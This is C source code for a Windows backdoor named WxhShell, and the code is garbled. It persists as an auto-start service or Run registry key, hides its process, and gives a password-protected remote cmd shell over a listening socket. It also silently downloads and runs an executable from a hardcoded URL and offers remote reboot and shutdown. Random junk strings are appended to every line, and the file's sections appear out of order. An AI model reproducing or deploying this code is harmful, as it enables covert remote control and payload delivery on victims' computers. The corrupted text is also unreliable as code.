    if(Boot(SHUTDOWN)) ~9tPT 0^+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p!XB\%sv'"  
    else { 2O*(F>>dT  
    closesocket(wsh); .b3c n  
    ExitThread(0); v?9  
    }  e>FK5rz  
    break; UNc[h&@_  
    } H&yK{0H  
  // 获取shell ec$kcD!  
  case 's': { cb9ndZ)v.  
    CmdShell(wsh);  {[i 37DN  
    closesocket(wsh); fw[Z7`\Q5  
    ExitThread(0); `.0WK  
    break; Em(&cra  
  } L#\!0YW/@  
  // 退出 0-N"_1k|?  
  case 'x': { ;:^^Qfp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1=9M@r~ ^  
    CloseIt(wsh); +OM9v3qJ  
    break; DGQGV[9%4C  
    } _Di";fe?  
  // 离开 O|Z5SSlk  
  case 'q': { mvCH$}w8&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NrNxI'M G  
    closesocket(wsh); Z^fkv  
    WSACleanup(); (,i&pgVZ  
    exit(1); F5Xj}`}bq  
    break; OJ/l}_a  
        } 03{pxI  
  } 5Az4<  
  } S<-e/`p=H  
figCeJ!W4  
  // 提示信息 q@"0(Oj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IKm_YQ$XOy  
} "IvFkS=*Q  
  } p>O>^R  
| M|5Nc>W  
  return; rEM#J"wF  
} $;1TP|  
WZ3GI l  
// shell模块句柄 A<+veqb4  
int CmdShell(SOCKET sock) }H>}v/  
{ U^xz>:~  
STARTUPINFO si; Jxq;Uu9  
ZeroMemory(&si,sizeof(si)); sXpA^pT"T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 65~X!90k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >7fNxQ  
PROCESS_INFORMATION ProcessInfo; ~0^d-,ZD5  
char cmdline[]="cmd"; h"/y$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0fpxr`  
  return 0; {e1akg.  
} :M |<c9I  
qZcRK9l]F1  
// 自身启动模式 mfI>1W(  
int StartFromService(void) [ITtg?]F  
{ R)<PCe`vf  
typedef struct +@ j@#~=K  
{ JF+E.-fy$  
  DWORD ExitStatus; )[c@5zy~*  
  DWORD PebBaseAddress; ^e 1Ux  
  DWORD AffinityMask; w<0F-0:8  
  DWORD BasePriority; Avc9W[4  
  ULONG UniqueProcessId; H/v|H}d;  
  ULONG InheritedFromUniqueProcessId; "SV#e4C.  
}   PROCESS_BASIC_INFORMATION; 0+vt LDq@P  
_tJm0z!  
PROCNTQSIP NtQueryInformationProcess; -k+}w_<Q  
pSzO )j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z|^+uL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E76#xsyhF  
-D4"uoN.  
  HANDLE             hProcess; 6^'BhHP  
  PROCESS_BASIC_INFORMATION pbi; &azy1.i~  
_@gd9Fi7J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |_Tp:][mf  
  if(NULL == hInst ) return 0; sgc pH  
X }W4dpU,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *Bse3%-v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }1sFddGVt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '&OJ hLE  
rZK;=\Ot  
  if (!NtQueryInformationProcess) return 0; uE]kv  
t@Bl3Nt{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZliJc7lss  
  if(!hProcess) return 0; )5O E~}>  
J$/'nL<{^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  3 cb$g  
65>1f  
  CloseHandle(hProcess); ;4!,19AT  
mF@)l]UZ'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GjfPba4>  
if(hProcess==NULL) return 0; 4dgo*9  
aYBc)LCd  
HMODULE hMod; w`Ss MI  
char procName[255]; s9p~  
unsigned long cbNeeded; k\NwH?ppu  
mbS`+)1=l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p /x ]  
WkF60'Hf  
  CloseHandle(hProcess); y;r{0lTB  
`> :^c  
if(strstr(procName,"services")) return 1; // 以服务启动 Vp.&X 8  
!UV1OU  
  return 0; // 注册表启动 ]c=nkS  
} "3r7/>xy  
QR#L1+Hn  
// 主模块 N Qdz]o  
int StartWxhshell(LPSTR lpCmdLine) 0|^/e -^  
{ Z +vT76g3  
  SOCKET wsl; gjGKdTr'  
BOOL val=TRUE; I8s%wY9  
  int port=0; W|yF jE&dr  
  struct sockaddr_in door; 68 *~5]  
V(^aG=TaW:  
  if(wscfg.ws_autoins) Install(); : CR1Oy9  
dP7nR1GS  
port=atoi(lpCmdLine); ,1!~@dhs  
+ bU*"5"  
if(port<=0) port=wscfg.ws_port; 'WC> _ L  
VxKD>:3c  
  WSADATA data; keMfK ]9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yt@;yd:OEk  
6~rO(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X S&oW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c2,;t)%@E  
  door.sin_family = AF_INET; KIeTZVu$%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @|i f^  
  door.sin_port = htons(port); 0YApaL+jt  
Ny6 daf3f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iem@ K  
closesocket(wsl); 0]._|Ubn6)  
return 1; fEMz%CwH  
} ?cH,!2  
t'.oty=  
  if(listen(wsl,2) == INVALID_SOCKET) { WYayr1  
closesocket(wsl); L4x08 e  
return 1; 3SMb#ce*o  
} itpljh  
  Wxhshell(wsl); A{QXzoWkg0  
  WSACleanup(); ~dm/U7B:  
-{=c T?"+  
return 0; Z6F^p8O-  
W bP wO  
} .R<Ke\y/  
5e|2b] f$  
// 以NT服务方式启动 u[>hs \3k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dPtQ Sa  
{ 1;Q>B>6  
DWORD   status = 0; AvxP0@.`  
  DWORD   specificError = 0xfffffff; :-.K.Ch|:  
Jy?#@/~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (X(296<;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [/Figr]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DsI{*#  
  serviceStatus.dwWin32ExitCode     = 0; .bT+#x  
  serviceStatus.dwServiceSpecificExitCode = 0; YM(` E9{h  
  serviceStatus.dwCheckPoint       = 0; _Cd_i[K[  
  serviceStatus.dwWaitHint       = 0; 5IsRIz[`TK  
N)&(&2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `Qg#`  
  if (hServiceStatusHandle==0) return; r{Stsha(  
`n{yls7.  
status = GetLastError(); G=Qslrtg  
  if (status!=NO_ERROR) \`MX\OR  
{ 1I1Z),  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Og8'K=O#  
    serviceStatus.dwCheckPoint       = 0; |fd}B5!c  
    serviceStatus.dwWaitHint       = 0; 2^TJ_xG~  
    serviceStatus.dwWin32ExitCode     = status; =64%eF  
    serviceStatus.dwServiceSpecificExitCode = specificError; tI&E@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JOA_2qa>\  
    return; Bp.z6x4  
  } :AzP3~BI  
-$8M#n,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +~H mP Q  
  serviceStatus.dwCheckPoint       = 0; ' >F_y t9  
  serviceStatus.dwWaitHint       = 0; .AzGPcJY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5V($|3PI  
} /P8`)?f~y  
DKzP)!B "  
// 处理NT服务事件,比如:启动、停止 u>cU*E4/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^9ZW }AAO  
{ Rw R.*?#  
switch(fdwControl) R\+O.vX  
{ 2S{IZ]  
case SERVICE_CONTROL_STOP: sXmZ0Dv  
  serviceStatus.dwWin32ExitCode = 0; "?yu^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j$f`:A  
  serviceStatus.dwCheckPoint   = 0; @uWPo2  
  serviceStatus.dwWaitHint     = 0; JuD$CHg;#  
  { FQ72VY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &7gE=E(M  
  } :2\H>^u V  
  return; s)e'}y  
case SERVICE_CONTROL_PAUSE: =u+.o<   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N-+`[8@(P<  
  break; 6kc/  
case SERVICE_CONTROL_CONTINUE: #f 4"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k/|j e~$  
  break; 3cp"UU}.  
case SERVICE_CONTROL_INTERROGATE: j1LL[+G-"_  
  break; -c1$>+  
}; v8< MAq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZV=)`E`I|  
} QCI-YJ&o  
qZ:--,9+  
// 标准应用程序主函数 p(5'|eqBV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z [qO5z~I  
{ }k-rOi'jL  
SLiQHWw*J  
// 获取操作系统版本 b,7@)sZ*  
OsIsNt=GetOsVer(); 9=-!~ _'1-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u}[Z=V  
zg3q\ ~  
  // 从命令行安装 9%VNzPzf  
  if(strpbrk(lpCmdLine,"iI")) Install(); kp+\3z_  
D-zqu~f`  
  // 下载执行文件 otsINAizgS  
if(wscfg.ws_downexe) { rdL>yT/A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `B^ HW8  
  WinExec(wscfg.ws_filenam,SW_HIDE); b;[u=9ez  
} A#"AqNVWv  
u/@dWeY[]  
if(!OsIsNt) { aXSTA ,%  
// 如果时win9x,隐藏进程并且设置为注册表启动 wN])"bmB  
HideProc(); .-:R mYGR  
StartWxhshell(lpCmdLine); `GG PkTN  
} U =()T}b>  
else &UWSf  
  if(StartFromService()) o,fBOPIN  
  // 以服务方式启动 ^c9~~m16+  
  StartServiceCtrlDispatcher(DispatchTable); *d,u)l :S  
else k($N_XlE  
  // 普通方式启动 TT(d CHft  
  StartWxhshell(lpCmdLine); "~f=7  
'WUevPmt  
return 0; 8#Q=CTjF  
} e3L<;MAt  
_~M*XJ] `  
olC@nQ1c*  
>D';i\2j&  
=========================================== #nL&x3  
wHQyMq^  
|7jUf$Q\p  
l6X\.oI  
V m1U00lM{  
4g.y$  
" :EK.&% 2  
 LWb5C{  
#include <stdio.h> T/^ /U6JB  
#include <string.h> #_tixg  
#include <windows.h> 2<aBUGA  
#include <winsock2.h> ]hBp elKJ  
#include <winsvc.h> nnU &R  
#include <urlmon.h> B=:7N;BT  
cD6$C31Y]  
#pragma comment (lib, "Ws2_32.lib") ]JeA29   
#pragma comment (lib, "urlmon.lib") lW,rzJ1  
i%+p\eeq*  
#define MAX_USER   100 // 最大客户端连接数 y@|gG&f T  
#define BUF_SOCK   200 // sock buffer NhxTSyT"t  
#define KEY_BUFF   255 // 输入 buffer -P09u82  
=NH p%|  
#define REBOOT     0   // 重启 0ih=<@1K  
#define SHUTDOWN   1   // 关机 o)P'H"Ki  
Y9TaU]7]  
#define DEF_PORT   5000 // 监听端口 [T;0vv8  
e+z_Rj%Y;I  
#define REG_LEN     16   // 注册表键长度 G<C[A  
#define SVC_LEN     80   // NT服务名长度 4Lx#5}P  
`N~;X~XFk  
// 从dll定义API /\-qz$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _u^ S[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b7It8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :[iWl8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ly?gpOqu5  
i/nA(%_  
// wxhshell配置信息 AepAlnI@  
struct WSCFG { 9S0I<<m  
  int ws_port;         // 监听端口 r*K[,  
  char ws_passstr[REG_LEN]; // 口令 lPh>8:qFM  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7_WD)Y2yS  
  char ws_regname[REG_LEN]; // 注册表键名 v1yNVs \}  
  char ws_svcname[REG_LEN]; // 服务名 IYq)p /  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'IweN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (u81p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +$:bzo_u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CT@JNG$<"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .kSx>3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6@-VLO))O  
Kr!(<i  
}; }fW@8ji\  
P1b5=/}:V  
// default Wxhshell configuration %aU4d e^  
struct WSCFG wscfg={DEF_PORT, 6mJa  
    "xuhuanlingzhe", zg!;g`Z@S  
    1, TOo0rcl  
    "Wxhshell", \4q% n  
    "Wxhshell", 0/d+26lR  
            "WxhShell Service", /s3AZ j9  
    "Wrsky Windows CmdShell Service", m$xL#omD  
    "Please Input Your Password: ", ~3 Y)o|D3  
  1, UdmYS3zs  
  "http://www.wrsky.com/wxhshell.exe", YFD'&N,sx  
  "Wxhshell.exe" 7z'l}*FRD  
    }; K.?~@5%  
?Gc9^b B I  
// 消息定义模块 LlP_`fA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s+>VqyHgf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U+t|wK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gxu&o%x [  
char *msg_ws_ext="\n\rExit."; dUOvv/,FZT  
char *msg_ws_end="\n\rQuit."; kAbRXID  
char *msg_ws_boot="\n\rReboot..."; jN:!V t  
char *msg_ws_poff="\n\rShutdown..."; Ycypd\q/  
char *msg_ws_down="\n\rSave to "; 0wV!mC  
Yxye?R-:  
char *msg_ws_err="\n\rErr!"; OPR+K ?  
char *msg_ws_ok="\n\rOK!"; C`c;I7  
r>1M&Y=<  
char ExeFile[MAX_PATH]; GwHMXtj4  
int nUser = 0; $\l7aA5~  
HANDLE handles[MAX_USER]; TTaSg\K  
int OsIsNt; #(C2KRRiA  
*a*\E R  
SERVICE_STATUS       serviceStatus;  E%\jR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |ahleu  
[#>ji+%=  
// 函数声明 %j%}iM/(<  
int Install(void); =.,]}  
int Uninstall(void); >cEc##:5  
int DownloadFile(char *sURL, SOCKET wsh); ]w.:K*_=  
int Boot(int flag); 4]jN@@  
void HideProc(void); c Q~}qE>I  
int GetOsVer(void); f?T6Ne'  
int Wxhshell(SOCKET wsl); [$_d|Z  
void TalkWithClient(void *cs); E(A7DXzbR  
int CmdShell(SOCKET sock); mw9;LNi\D  
int StartFromService(void); z5PFppSQ  
int StartWxhshell(LPSTR lpCmdLine); GUJ[2/V~A  
:1"{0 gm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h% BA,C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;hi+.ng_  
#/zPAcV:  
// 数据结构和表定义  &o$E1;og  
SERVICE_TABLE_ENTRY DispatchTable[] = euO!+9p  
{ Hzs]\%"  
{wscfg.ws_svcname, NTServiceMain}, |><hdBQXX<  
{NULL, NULL} a<l(zJptG  
}; qt5CoxeJ  
O7|0t\)  
// 自我安装 Kl<qp7o0  
int Install(void) :9N~wd  
{ {7 &(2Z]z  
  char svExeFile[MAX_PATH]; v]|^.x:  
  HKEY key; 9E^IEwq'  
  strcpy(svExeFile,ExeFile); 2'_xg~  
B`)o?GcVN  
// 如果是win9x系统,修改注册表设为自启动 } 5i0R  
if(!OsIsNt) { EzOO6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8MgoAX,p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +HNY!fv9  
  RegCloseKey(key); XYIZ^_My  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tL(B gku9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ''S*B|:  
  RegCloseKey(key); 4`5jq)  
  return 0; <@xp. Y  
    } ;}{xpJ/  
  } vR<Y1<j  
} I`kaAOe  
else { Bsi HVr  
p ASNiH698  
// 如果是NT以上系统,安装为系统服务 VH7VJ [  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #y13(u,dN  
if (schSCManager!=0) iLw O4i  
{  $6w[h7  
  SC_HANDLE schService = CreateService !qPVC\l  
  ( YlD ui8.N  
  schSCManager, /gT$d2{  
  wscfg.ws_svcname, 44 ,:@  
  wscfg.ws_svcdisp, mxsmW  
  SERVICE_ALL_ACCESS, +c5z-X$^]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {aP5Mem  
  SERVICE_AUTO_START, DK 4 8  
  SERVICE_ERROR_NORMAL, TB 9{e!4  
  svExeFile, cmF&1o3_  
  NULL, !a?$  
  NULL, }z6@Z#%q  
  NULL, ;Ut0tm  
  NULL, <RY5ZP  
  NULL "']I.  
  ); FI++A`  
  if (schService!=0) S05+G}[$  
  { BYuF$[3ya&  
  CloseServiceHandle(schService); `oP :F[B  
  CloseServiceHandle(schSCManager); ?#"rI6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L A-H  
  strcat(svExeFile,wscfg.ws_svcname); |f1 S&b.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WGFp<R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gqq%q!k&1  
  RegCloseKey(key); aOWW ..|  
  return 0; j|"#S4IX)F  
    } |F z/9+I  
  } fH? e9E4l  
  CloseServiceHandle(schSCManager); 5BnO-[3  
} i-[ic!RnKj  
} >2l1t}"\  
uu L"o  
return 1; c'nEbelE  
} n{JBC%^g  
M72.  
// 自我卸载 .g71?^?(  
int Uninstall(void) lPyGL-Q  
{ .&dW?HS  
  HKEY key; oLK-~[p  
 (`PgvBL:  
if(!OsIsNt) { D@ut -J(.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eS(\E0%QI  
  RegDeleteValue(key,wscfg.ws_regname); h^R EBPe  
  RegCloseKey(key); zu}oeAQc$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _<pSCR0  
  RegDeleteValue(key,wscfg.ws_regname); `s93P^%  
  RegCloseKey(key); ]V*s-och'  
  return 0; :U_k*9z}=  
  } !_CBf#0  
} 3Ob"R%Yo  
} vI3L <[W  
else { i"mN0%   
i[1K~yXq:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QcJ?1GwA"  
if (schSCManager!=0) =.`(KXT  
{ .lnyn|MVb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S]&f+g}&w  
  if (schService!=0) sy`@q<h(  
  { $sK8l=#  
  if(DeleteService(schService)!=0) { 5v6 x  
  CloseServiceHandle(schService); HwTb753  
  CloseServiceHandle(schSCManager); 5/Viz`hsz  
  return 0; g bDre~|  
  } ~t7?5b?*\  
  CloseServiceHandle(schService); `|?K4<5|  
  } )90Q  
  CloseServiceHandle(schSCManager); 3)\jUVuj  
} U;QTA8|!&  
} dbM~41C6  
 h>\T1PM  
return 1; AjBwj5K  
} _N!L?b83P  
2"+8NfFl  
// 从指定url下载文件 yh0zW $  
int DownloadFile(char *sURL, SOCKET wsh)  *R1 m=  
{ IcmTF #{D  
  HRESULT hr; AyHhq8Y  
char seps[]= "/"; eV:I :::  
char *token; A|>~/OW=@  
char *file; gDbj!(tm  
char myURL[MAX_PATH]; dsck:e5agZ  
char myFILE[MAX_PATH]; lz2B,#  
3z7SK Gy  
strcpy(myURL,sURL); nvY3$ Ty  
  token=strtok(myURL,seps); Tbf't^Ot$  
  while(token!=NULL) 3!E*h0$}  
  { ZL/iX~}a'  
    file=token; #1fT\aP  
  token=strtok(NULL,seps); O@.C.5Ep  
  } |R$V[  
q.sErr[zc  
GetCurrentDirectory(MAX_PATH,myFILE); tt5t(+5j  
strcat(myFILE, "\\"); !p$HS0c  
strcat(myFILE, file); P^9y0Q  
  send(wsh,myFILE,strlen(myFILE),0); }-YM>q  
send(wsh,"...",3,0); 1 ; _tu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7<FI[  
  if(hr==S_OK) [7x,&  
return 0; x\( @ v  
else 4 mj\wBp  
return 1; >YG1sMV-J  
0u[Vd:()v(  
} .*FBr7rE\  
6ub-NtVu  
// 系统电源模块 L#U-d zy\  
int Boot(int flag) UuXq+HYR  
{ +/xmxh$ $  
  HANDLE hToken; l~ 3H"  
  TOKEN_PRIVILEGES tkp; )~W 35  
Hq<Sg4nz  
  if(OsIsNt) { SURbH;[   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ogD 8qrZ6J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dH]0 (aJ  
    tkp.PrivilegeCount = 1; a)L\+$@*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 581Jp'cje  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G<1)N T\u  
if(flag==REBOOT) { r~f*aD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /QuuBtp  
  return 0; z~Zu >Q1u[  
} NTq#'O) f  
else { ,Dh+-}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {Hc [H-  
  return 0; \Af25Mcf:  
} RRSkXDU}  
  } W5 l)mAv  
  else { ,uz+/K%OA5  
if(flag==REBOOT) { /G[2   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nV`n=x  
  return 0; DX3xWdnr  
} 4pU|BL\j  
else { WFHS8SI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^YVd^<cE  
  return 0; 'v|R' wi\  
} jLc"1+  
} &Bn> YFu  
Mw{0A\6  
return 1; p7SX,kpt>  
} kT7x !7C  
<HYK9{Q  
// win9x进程隐藏模块 Cn\5Vyrl  
void HideProc(void) h>0R!Rl8  
{ op!ft/Yyb  
*=yUs'brB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F7o#KN*.]  
  if ( hKernel != NULL ) R0 yPmh,{  
  { cXcrb4IKD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }G{'Rb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `vbd7i  
    FreeLibrary(hKernel); MxXf.iX&  
  } {TmrWFo  
n,,hE_  
return; #.Q3}[M  
} ~Qg:_ @@\  
JXT%@w>I  
// 获取操作系统版本 Z}X oWT2f  
int GetOsVer(void) .~3s~y*s  
{ ;JpsRf!  
  OSVERSIONINFO winfo; >JSk/]"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NY(z 3G  
  GetVersionEx(&winfo); 5Q/&,NP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HACY  
  return 1; p* '%<3ml  
  else Wi;wu*  
  return 0; )Bz2-|\  
} /5**2Kgv1  
DJWm7 t  
// 客户端句柄模块 yW =I*f  
int Wxhshell(SOCKET wsl) M53{e;.kN  
{ w(,K  
  SOCKET wsh; SRP.Mqg9  
  struct sockaddr_in client; CIt%7 \c  
  DWORD myID; 1\t#*N  
< bvbfS  
  while(nUser<MAX_USER) 4z;@1nN_8a  
{ \zx &5a #  
  int nSize=sizeof(client); ~]w|ULNa3|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _ ^2\/@  
  if(wsh==INVALID_SOCKET) return 1; bUcEQGHcZ=  
bU3P; a(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {4C/ZA{|l  
if(handles[nUser]==0) cr wui8  
  closesocket(wsh); ]J '#KT{  
else %pJRu-D  
  nUser++; q.}M^iDe  
  } +VSq[P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {M_*hR;lL  
s^&Oh*SP*  
  return 0; #7*{ $v  
} $.5f-vQp  
c4Leh"ry  
// 关闭 socket nO\c4#ce  
void CloseIt(SOCKET wsh) 6x.ZS'y  
{ e=H,|)P  
closesocket(wsh); 8h?):e  
nUser--; NMy+=GZu^  
ExitThread(0); -%G}T}"_  
} t| cL!  
If*+yr|  
// 客户端请求句柄 }G/#Nb)  
void TalkWithClient(void *cs) )%zOq:{\5  
{ [^D~T  
n5NwiSE  
  SOCKET wsh=(SOCKET)cs; sC}p_'L  
  char pwd[SVC_LEN]; 78MQoG<  
  char cmd[KEY_BUFF]; v1j&oA}$.  
char chr[1]; >N bb0T  
int i,j; kq4ii`zi8  
8mc0(Z@  
  while (nUser < MAX_USER) { dSP~R  
K*/X{3J;  
if(wscfg.ws_passstr) { ~+)sL1lx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); + g*s%^(E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <Pnz$nH:e  
  //ZeroMemory(pwd,KEY_BUFF); Sb|9U8h  
      i=0; <E&8g[x6  
  while(i<SVC_LEN) { $sxm MP  
[Yyb)Qf  
  // 设置超时 vVy X[ZZ  
  fd_set FdRead; p"dK,A5#)  
  struct timeval TimeOut; 0XzrzT"&  
  FD_ZERO(&FdRead); O;6am++M@  
  FD_SET(wsh,&FdRead); qib4DT$v-6  
  TimeOut.tv_sec=8; _!ITCkBj  
  TimeOut.tv_usec=0; />dH\KvN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u}0U!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |y%M";MI  
-Pt']07E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = }!4%.$  
  pwd=chr[0]; IQ] tcSQl  
  if(chr[0]==0xd || chr[0]==0xa) { sy(8-zbI  
  pwd=0; !uc"|S?  
  break; +oRBSAg-  
  } v;ZIqn"  
  i++; sQ aP:@  
    } X4$86  
P$H9  
  // 如果是非法用户,关闭 socket isR)^fI|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v?L`aj1ox  
} +?%L X4Y  
[h0.k"&[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Pw|J([  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GE!fh1[[u  
.QLjaEja  
while(1) { KmX?W/%R  
3$n O@rOS  
  ZeroMemory(cmd,KEY_BUFF); RQ*oTsq  
EG#mNpxE  
      // 自动支持客户端 telnet标准   A>Y#-e;<d  
  j=0; #\T5r*W  
  while(j<KEY_BUFF) { T\OpPSYbl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  K?]c  
  cmd[j]=chr[0]; @x[Arx^?}  
  if(chr[0]==0xa || chr[0]==0xd) { :$f9(f&  
  cmd[j]=0; nsjrzO79L8  
  break; nl/~7({  
  } n:P++^ j  
  j++; Ap)pOD7  
    } =}1m.  
OaF[t*]D3  
  // 下载文件 %4I13|<A`  
  if(strstr(cmd,"http://")) { u}(K3H3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !g2 ~|G  
  if(DownloadFile(cmd,wsh)) LQ{z}Ay  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qgkC)  
  else ;hZ^zL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,b'QL6>`  
  } /DE`>eJY  
  else { 3cB=9Y{<  
1<E:`,Mn?  
    switch(cmd[0]) { UC*\3:>'n  
  l}& &f8n  
  // 帮助 zcCGR Ee=  
